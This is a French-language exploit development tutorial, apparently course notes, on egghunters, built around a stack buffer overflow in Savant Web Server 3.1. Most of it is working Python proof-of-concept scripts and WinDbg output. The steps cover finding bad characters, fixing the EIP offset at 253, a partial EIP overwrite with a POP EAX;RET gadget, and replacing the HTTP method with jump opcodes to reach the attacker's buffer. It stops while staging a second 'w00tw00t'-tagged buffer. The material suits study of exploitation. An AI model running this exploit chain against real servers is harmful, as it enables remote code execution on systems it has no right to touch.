Egg Hunters
Dans certains cas d'exploitation de dépassement de tampon, seul un espace mémoire restreint n'est rendu disponible rendant difficile le stockage du payload. La technique de egghunter a pour objectif d'identifier des zones propices au stockage du payload.
Théorie
Dans le cas où l'espace du payload est limité, il existe deux options :
- Utiliser un shellcode plus petit avec moins de fonctionnalité
- Trouver un buffer additionnel dans une autre région de la mémoire avant le crash et de rediriger le flot d'exécution vers ce buffer
Si on arrive à stocker un buffer plus large ailleurs on peut utiliser le premier buffer pour écrire un shellcode de type first-stage. L'objectif de ce shellcode sera de rediriger le flot d'exécution vers le deuxième buffer ou on aura assez de place pour stocker un payload plus large.
Quand on doit trouver l'adresse mémoire d'un autre buffer sous notre contrôle dont l'adresse n'est pas statique on utilise des egghunter.
- Un egghunter est un payload first-stage qui permet de chercher le
Virtual Address Space
(VAS) du processus à la recherche d'un egg - Un egg est un tag unique qui précède le payload qu'on veut exécuter
- Une fois le egg trouvé le egghunter transfert l'exécution vers le shellcode final en faisant un jump vers l'adresse trouvée
Les egghunter sont écrits dans le cas de problème de restriction mémoire et sont donc aussi petits que possible :
- Ils doivent aussi être rapides à s'exécuter et à trouver le egg pour éviter de hang l'application trop longtemps
- Ces payloads doivent aussi gérer les access violations déclenchés lors de l'accès à de la mémoire non mappée ou d'adresse à laquelle on a pas accès
Pratique
L'exemple utilisé sera l'exploit portant sur l'application `Savant Web Server 3.1.
Valider l'exploit
Preuve de concept en Python :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * size
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
print("Sending buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :
0:009> g
(1618.dbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=017d5778 ecx=f1d59770 edx=00000000 esi=017d5778 edi=0041703c
eip=41414141 esp=045fea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
À première vue c'est un dépassement de tampon classique avec contrôle sur EIP
. Après analyse ce n'est pas le cas :
- Dans les dépassements de tampon classique, le registre
ESP
pointe sur notre buffer qui va stocker notre shellcode - Le buffer réécrirait
EIP
avecJMP ESP
qui redirigerait le flot d'exécution
Si on analyse le contenu de ESP
on se rend compte qu'il ne contient que trois bytes de notre shellcode :
0:002> dds @esp L5
045fea2c 00414141 Savant+0x14141 # Seulement 3x `41`
045fea30 045fea84
045fea34 0041703c Savant+0x1703c
Notre buffer est traité comme un string en mémoire et fini donc par 00
:
Identifier les mauvais caractères
On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
httpMethod = b"GET /"
inputBuffer = badchars
inputBuffer += b"\x41" * (size - len(inputBuffer))
httpEndRequest = b"\r\n\r\n"
Si on lance tel quel le programme ne crash pas, indiquant la présence d'un mauvais caractère. On commente la première moitié des caractères pour identifier où se trouve le caractère problématique.
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
badchars = (
# b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
# b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
# b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
# b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
# b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
# b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
# b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
# b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
# b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
# b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e" # 2em moitie
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
httpMethod = b"GET /"
inputBuffer = badchars
inputBuffer += b"\x41" * (size - len(inputBuffer))
httpEndRequest = b"\r\n\r\n"
On relance l'exploit et on a bien un dépassement. Il n'y a donc aucun mauvais caractère dans cette deuxième moitié :
# Affichage de ESP
0:004> db esp
0466ea2c 41 41 41 00 84 ea 66 04-3c 70 41 00 78 57 9e 01 AAA...f.<pA.xW..
[...]
0466ea7c 00 00 00 00 02 00 00 00-47 45 54 00 00 00 00 00 ........GET.....
0466ea8c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0466ea9c 2f 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90 /............... # Début des caractères
#
# Affichage des caractères complets jusqu'au 1er 'A'
0:004> db 0466ea9c
0466ea9c 2f 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90 /...............
0466eaac 91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0 ................
0466eabc a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0 ................
0466eacc b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0 ................
0466eadc c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0 ................
0466eaec d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0 ................
0466eafc e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0 ................
0466eb0c f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 41 ...............A
On continue en décommandant ligne par ligne. On dé-commente donc b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
#
(144.db8): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01b15778 ecx=3d909e99 edx=00000000 esi=01b15778 edi=0041703c
eip=41414141 esp=0469ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
#
0:004> db esp
0469ea2c 41 41 41 00 84 ea 69 04-3c 70 41 00 78 57 b1 01 AAA...i.<pA.xW..
[...]
0469ea7c 00 00 00 00 02 00 00 00-47 45 54 00 00 00 00 00 ........GET.....
0469ea8c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0469ea9c 2f 75 76 77 78 79 7a 7b-7c 7d 7e 7f 80 81 82 83 /uvwxyz{|}~..... # Commence ici
On a encore tous les caractères, on continue ligne par ligne en remontant vers le haut.
Quand on arrive a la ligne b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
l'overflow est différent. EIP
n'est pas réécrit.
(10e4.bc8): Access violation - code c0000005 (first chance)
[...]
eax=045a0041 ebx=001a5778 ecx=00000001 edx=00020b40 esi=001a5778 edi=0041703c
eip=0040c05f esp=045ae6b8 ebp=045aea24 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:045a0041=????????
Il y a donc un mauvais caractère dans cette ligne :
- Si on enlève
\x26
on a un dépassement de tampon, mais qui ne réécrit pasEIP
, indiquant que le mauvais caractère est toujours la - Si on élève
\x25
on a un dépassement de tampon qui réécrit leEIP
- C'est donc un mauvais caractère
On continue jusqu'à remonter à la première ligne. Les mauvais caractères identifient sont : 0x00
- 0x0D
- 0x0A
- 0x25
Déterminer l'offset exact
Une fois de plus, on veut identifier l'offset exact qui réécrit EIP
. On génère un pattern unique :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ msf-pattern_create -l 260
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
On met a jour la preuve d'exploitation :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
L'exécution de la preuve de concept entraine un dépassement de tampon, mais EIP
n'est pas réécrit par un pattern unique :
(1210.132c): Access violation - code c0000005 (first chance)
[...]
eax=00694135 ebx=01935778 ecx=de4eadbe edx=00000001 esi=01935778 edi=0041703c
eip=0040c05f esp=045ee6b8 ebp=045eea24 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:00694135=????????
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ msf-pattern_offset -l 260 -q 0040c05f
[*] No exact matches, looking for likely candidates...
On opte donc pour l'identification manuelle de l'offset à travers de la dichotomie.
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * 130
inputBuffer += b"\x42" * 130
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
Le registre EIP
est à 42424242
. Indiquant que le dépassement de tampon est donc dans la deuxième moitié.
On continus dans la dichotomie :
- On augmente de la moitié de 130 le nombre de
A
- On diminue de moitié le nombre de
B
Le dépassement se situe toujours dans la deuxième partie :
(e04.12d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=018c5778 ecx=0bc8af86 edx=00000000 esi=018c5778 edi=0041703c
eip=42424242 esp=045cea2c ebp=42424242 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???
On continue de cette manière jusqu'à arriver à la configuration suivante :
(168c.16c4): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01995778 ecx=58fe6b05 edx=00000000 esi=01995778 edi=0041703c
eip=42424242 esp=0461ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???
253
est donc l'offset exact pour réécrire EIP
.
Réécriture partielle de EIP
On identifie que le seul module charge contient un null byte au sein de son adresse de début. Les null byte sont des mauvais caractères, surtout dans notre cas ou le buffer est traite comme un string. Les null byte entraine la fin du string.
Aucun autre module n'est disponible en dehors de l'exécutable principal. Cependant cet exécutable contient des null bytes dans son adresse.
Note : Choisir un module Microsoft impliquerait que l'adresse change à chaque version de Windows et il faudrait travailler à contourner les protections mises en place dans les binaires de Microsoft
On se souvient que notre buffer est traité comme un string en mémoire et qu'il finit donc par 00
pour terminer le string. On confirme le comportement en relançant l'exploit :
0:009> g
(1638.166c): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01835778 ecx=743857dc edx=00000000 esi=01835778 edi=0041703c
eip=42424242 esp=0456ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???
#
0:004> dds @esp L4
0456ea2c 00434343 Savant+0x34343
0456ea30 0456ea84
Le buffer est bien terminé par un caractère null, permettant d'utiliser la technique réécriture partielle de EIP
ou partial EIP overwrite.
Comme l'exécutable de Savant.exe
est mappe dans une gamme d'adresse qui commence avec un null byte on pourrait utiliser le string null de fin de chaine comme faisant partie de notre réécriture de EIP
. Ceci nous permettra de rediriger le flot d'exécution vers n'importe quelle instruction dans le module Savant.exe
.
Un effet de bord de la réécriture partiel de EIP
est que l'on ne peut stocker aucune autre data après l'adresse de retour, car le null byte va terminer le string.
On avait remarqué que le deuxième DWORD
sur la pile au moment du crash pointe très proche du pointeur de pile (ESP
). Il pointe toujours sur la méthode HTTP
et les données qui suivent :
0:004> dds @esp L2
0470ea2c 00414141 Savant+0x14141
0470ea30 0470ea84 # DEUXIEME DWORD
#
0:004> dc poi(esp+4)
0470ea84 00544547 00000000 00000000 00000000 GET............. # METHODE HTTP
0470ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0470eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Il faut donc trouver une séquence d'instruction qui nous permettrait de rediriger le flot d'exécution vers cette ce deuxième DWORD. On peut utiliser POP R32; RET
:
POP R32
va enlever le premierDWORD
de la pile ce qui va entrainerESP
a pointer vers l'adresse mémoire qui contient notre buffer qui commence avec la méthodeHTTP GET
R32
fait référence à un registre arbitraire de 32b
RET
devrait être placé au début de la méthode HTTP
Cela voudrait dire qu'il faudrait exécuter les instructions assembleur générées par les opcodes de la méthode GET
. La méthode GET
a généré les opcodes et les instructions ASM suivants :
0:004> u poi(@esp+0x04)
0460ea84 47 inc edi
0460ea85 45 inc ebp
0460ea86 54 push esp
0460ea87 0000 add byte ptr [eax],al
0460ea89 0000 add byte ptr [eax],al
0460ea8b 0000 add byte ptr [eax],al
0460ea8d 0000 add byte ptr [eax],al
0460ea8f 0000 add byte ptr [eax],al
-
Les instructions suivantes ne sont pas impactantes pour notre flot et n'entrainent pas de violation d'accès
inc edi
-inc ebp
etpush esp
- Elles résultent des opcodes
544547
-
La dernière instruction
add byte ptr [eax],al
est une addition qui vise a ajouter la valeur du registreal
a la valeur sur laquelleEAX
pointe- Peut être problématique, car assume que l'adresse sur laquelle
EAX
pointe est une adresse mémoire valide - Généré par l'opcode
00
- Peut être problématique, car assume que l'adresse sur laquelle
Les instructions POP R32;RET
vont rediriger le flot d'exécution vers notre buffer. L'instruction POP
de la séquence nous permettrait de placer le DWORD sur lequel pointe ESP
dans le registre de notre choix. Si on peut trouver une instruction tel que POP EAX;RET
on va pouvoir garantir que EAX
pointe vers une adresse existante et valide.
Le premier DWORD dans la pile pointe vers un espace mémoire faisant partie de la pile et donc un espace mémoire valide :
0:004> dds @esp L5
0460ea2c 0460fe70
0460ea30 0460ea84
#
0:004> !teb
TEB at 00244000
ExceptionList: 0460ff70
StackBase: 04610000
StackLimit: 0460c000
[...]
Génération des opcodes de l'instruction POP EAX;RET
:
On cherche ces opcodes dans le module Savant.exe
0:004> lm m Savant
Browse full module list
start end module name
00400000 00452000 Savant C (no symbols)
0:004> s -[1]b 00400000 00452000 58 c3
0x00418674
[...]
0:004> u 0x00418674 L4
Savant+0x18674:
00418674 58 pop eax
00418675 c3 ret
[...]
On modifie la preuve de concept pour positionner l'adresse 0x00418674
dans le registre EIP
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * 253
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP
On exécute la nouvelle preuve de concept :
- Le point d'arrêt est atteint
- Le registre
EIP
est bien initialise a00418674
surPOP EAX
- On avance d'une instruction pour arriver sur
RET
- On avance d'une instruction pour arriver sur
INC EDI
qui est le début des opcodes génères par la méthode HTTPGET
En faisant le POP EAX;RET
on a bien réussis a retirer le premier DWORD de ESP
et a exécuté le deuxième qui pointe sur le shellcode. On retrouve les instructions assembleur découlant des opcodes de la fonction GET
. On observe que EAX
change de valeur après le POP EAX
:
Breakpoint 0 hit
eax=00000000
[...]
Savant+0x18674:
00418674 58 pop eax
#
0:004> t
eax=045bfe70
[...]
Savant+0x18675:
00418675 c3 ret
#
0:004> t
[...]
045bea84 47 inc edi
#
0:004> u @eip
045bea84 47 inc edi
045bea85 45 inc ebp
045bea86 54 push esp
045bea87 0000 add byte ptr [eax],al
[...]
0:004> dc @eip
045bea84 00544547 00000000 00000000 00000000 GET.............
045bea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
045beaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
En faisant POP EAX
on s'est assuré que le premier DWORD de ESP
soit dans EAX
et comme il pointe sur une adresse de la pile EAX
ne contiendra pas d'adresse entrainant une violation d'accès. Les instructions découlant de la commande GET
peuvent donc s'exécuter sans effet de bord.
Cette méthode fonctionnerait, mais exécuter les opcodes découlant de la fonction HTTP
n'est pas très propre. Il existe d'autres options plus élégantes.
Modification de la méthode HTTP
On souhaite trouver un moyen plus subtil que d'exécuter les opcodes découlant de la fonction HTTP, même si ceux-ci sont maintenant fonctionnels. On veut trouver un moyen plus élégant d'atteindre notre buffer de 0x41
:
0:012> bp 0x00418674
#
0:012> g
00418674 58 pop eax
#
0:005> t
00418675 c3 ret
#
0:005> dc poi(@esp)
046eea84 00544547 00000000 00000000 00000000 GET.............
046eea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
046eeaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
On observe qu'il y a un padding important entre GET
et le reste du buffer. On peut supposer que :
- Le buffer utilise pour stocker la méthode HTTP semble avoir été alloué avec une taille fixe
- La taille de la méthode en elle-même ne semble pas être prise en compte ni vérifiée
* Si elle n'est pas vérifiée, on peut essayer de la remplacer avec des opcodes d'instructions ASM qui permettraient d'atteindre nos 0x41
Mise à jour de la preuve de concept :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /"
inputBuffer = b"\x41" * 253
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP
httpEndRequest = b"\r\n\r\n"
Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET
:
0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
eax=00000000
[...]
00418674 58 pop eax
#
0:004> t
eax=0464fe70
[...]
00418675 c3 ret
#
0:004> dc poi(@esp)
0464ea84 43434343 43434343 00000000 00000000 CCCCCCCC........
0464ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0464eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
On est donc capable de modifier la méthode HTTP sans impacter le crash en lui-même. La méthode est bien remplacée par nos 0x43
qui correspondent a des C
.
On pourrait utiliser un short jump. Jump de 0x17
bytes devrait permettre d'arriver dans le buffer. On remplace donc la méthode HTTP
par les opcodes correspondant à un short jump de 0x17
.
Mise à jour de la preuve de concept :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\xeb\x17\x90\x90" + b" /" # Short jump de 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP
httpEndRequest = b"\r\n\r\n"
Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET
:
0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
00418674 58 pop eax
#
0:004> t
eax=00000000
00418674 58 pop eax
#
0:004> t
eax=0467fe70
00418675 c3 ret
#
0:004> t
eax=0467fe70
0467ea84 cb retf
#
0:004> db @eip L2
0467ea84 cb 17
#
0:004> u @eip
0467ea84 cb retf # ERREUR À CET ENDROIT
0467ea85 17 pop ss
0467ea86 90 nop
0467ea87 90 nop
0467ea88 0000 add byte ptr [eax],al
[...]
La mémoire ne semble pas contenir les bons caractères. Passage de eb17
à cb17
. Pourtant ce caractère n'apparaissait pas dans les mauvais caractères testés précédemment.
Cet espace mémoire est potentiellement alloué séparément de l'allocation du reste du buffer. Il est possible que des opérations différentes soient faites et entrainent cet effet de bord.
Ceci est un bon exemple démontrant que différentes allocations mémoires peuvent avoir de mauvais caractères différents. Il faut trouver une alternative au short jump avec le même résultat.
Sauts conditionnels
Les sauts conditionnels ou conditional jumps sont une alternative au short jump. Ils exécutent un saut en fonction de conditions. Ils fonctionnent en deux étapes :
- Test de la condition
- Saut si la condition est vraie ou continue l'exécution si la condition est fausse
Il en existe en grand nombre, chacun dépendant de registre FLAG
spécifique.
On choisit d'utiliser l'instruction JE
. La condition de ce saut est basée sur la valeur du registre ZF
(Zero Flag). Le saut se fait uniquement si la valeur de ZF
est à 1
(TRUE
).
The Zero Flag register is a single bit flag that is used on most architectures. On x86/x64, it is stored in a dedicated register called ZF. This flag is used to check the result of arithmetic operations. It is set to 1 (TRUE) if the result of an arithmetic operation is zero and otherwise set to 0 (FALSE).
Il faut donc garantir que ZF
soit a 1
pour assurer la réalisation du saut. Peut être fait en 2 étapes :
- Appliquer une opération
XOR
surECX
en tant que destination et source (premiere et deuxieme operande)- Ceci aura pour effet de mettre
ECX
a0
- Ceci aura pour effet de mettre
- Utiliser l'instruction
TEST
avecECX
dans les deux opérandes- Ce qui va positionner
ZF
a1
- Ce qui va positionner
The XOR instruction does a bitwise operation. The resultant bit is set to 1 only if the bit from the other operand is different. Using the XOR bitwise operation with the same destination and source will always result in 0. This is a common way to null a register. We chose to use the ECX register for our XOR operation, using other registers will produce the same result.
The TEST performs a bit-wise logical AND operation and sets the ZF (amongst others) according to the result. The AND operation sets each bit to 1 if both corresponding bits of the operands are 1, otherwise, it is set to 0.
Génération des opcodes correspondants :
$ msf-nasm_shell
nasm > xor ecx, ecx
00000000 31C9 xor ecx,ecx
nasm > test ecx, ecx
00000000 85C9 test ecx,ecx
nasm > je 0x17
00000000 0F8411000000 jz near 0x17 # JE et JZ sont interchangeable
Pas de mauvais caractère dans les opcodes génères par ces instructions, sauf le je
qui contient des null bytes. Pas problématique, car l'espace mémoire est mis à 000000
avant que la méthode HTTP
soit copiée dedans. En témoigne 0464ea84 43434343 43434343 00000000 00000000 CCCCCCCC........
. On peut donc ignorer les 000000
génères par l'instruction je
et utiliser ceux déjà présents en mémoire.
Mise à jour de la preuve de concept :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
print("Sending buffer...")
Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET
:
0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
eax=00000000
00418674 58 pop eax
#
0:004> t
eax=022ffe70
00418675 c3 ret
#
0:004> u poi(@esp) L3
022fea84 31c9 xor ecx,ecx
022fea86 85c9 test ecx,ecx
022fea88 0f8411000000 je 022fea9f
- On affiche le registre
ZF
juste apres leXOR
et leTEST
- Le registre est bien a
1
- Le registre est bien a
- On execute l'instruction de saut conditionnel
JE
- On voit que
EIP
est bien initialise a022fea9f
- Le flot d'execution est bien redirige suite au
je
- Le flot d'execution est bien redirige suite au
EIP
pointe bien sur le buffer de0x41
0:004> t
[...]
022fea84 31c9 xor ecx,ecx
#
0:004> t
[...]
022fea86 85c9 test ecx,ecx
#
0:004> r @zf
zf=1
#
0:004> dd 022fea9f - 4
022fea9b 41412f00 41414141 41414141 41414141
022feaab 41414141 41414141 41414141 41414141
[...]
# Le `2f00` correspond a `./`
0:004> dc 022fea9f - 4
022fea9b 41412f00 41414141 41414141 41414141 ./AAAAAAAAAAAAAA
022feaab 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
#
0:004> t
eip=022fea88
022fea88 0f8411000000 je 022fea9f [br=1]
#
0:004> t
eip=022fea9f
022fea9f 41 inc ecx
#
0:004> u @eip
022fea9f 41 inc ecx
022feaa0 41 inc ecx
022feaa1 41 inc ecx
[...]
Le buffer de 0x41
fait 251 bytes, ce qui est trop petit pour un shellcode de reverse shell (environ 300 bytes) et beaucoup trop petit pour un shellcode de Meterpreter.
On pourrait utiliser un plus petit shellcode ou trouver un moyen de stocker un shellcode plus grand.
Trouver de l'espace supplémentaire
L'espace du payload étant limité, il faut trouver un buffer additionnel dans une autre région de la mémoire avant le crash et de rediriger le flot d'exécution vers ce buffer. Si on arrive à stocker un buffer plus large ailleurs on peut utiliser le premier buffer pour écrire un shellcode de type stage one. L'objectif de ce shellcode sera de rediriger le flot d'exécution vers le deuxième buffer ou on aura assez de place pour stocker un payload plus large.
Pour déterminer ce qui va être stocke dans la mémoire de notre application
- Soit faire du reverse engineering
- Soit faire des suppositions base sur le type d'application
On essaye de trouver un espace supplémentaire en ajoutant un buffer après la fin de la requête HTTP
à travers la variable shellcode
:
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
httpEndRequest = b"\r\n\r\n"
shellcode = b"w00tw00t" + b"\x44" * 400
buf = httpMethod + inputBuffer + httpEndRequest + shellcode
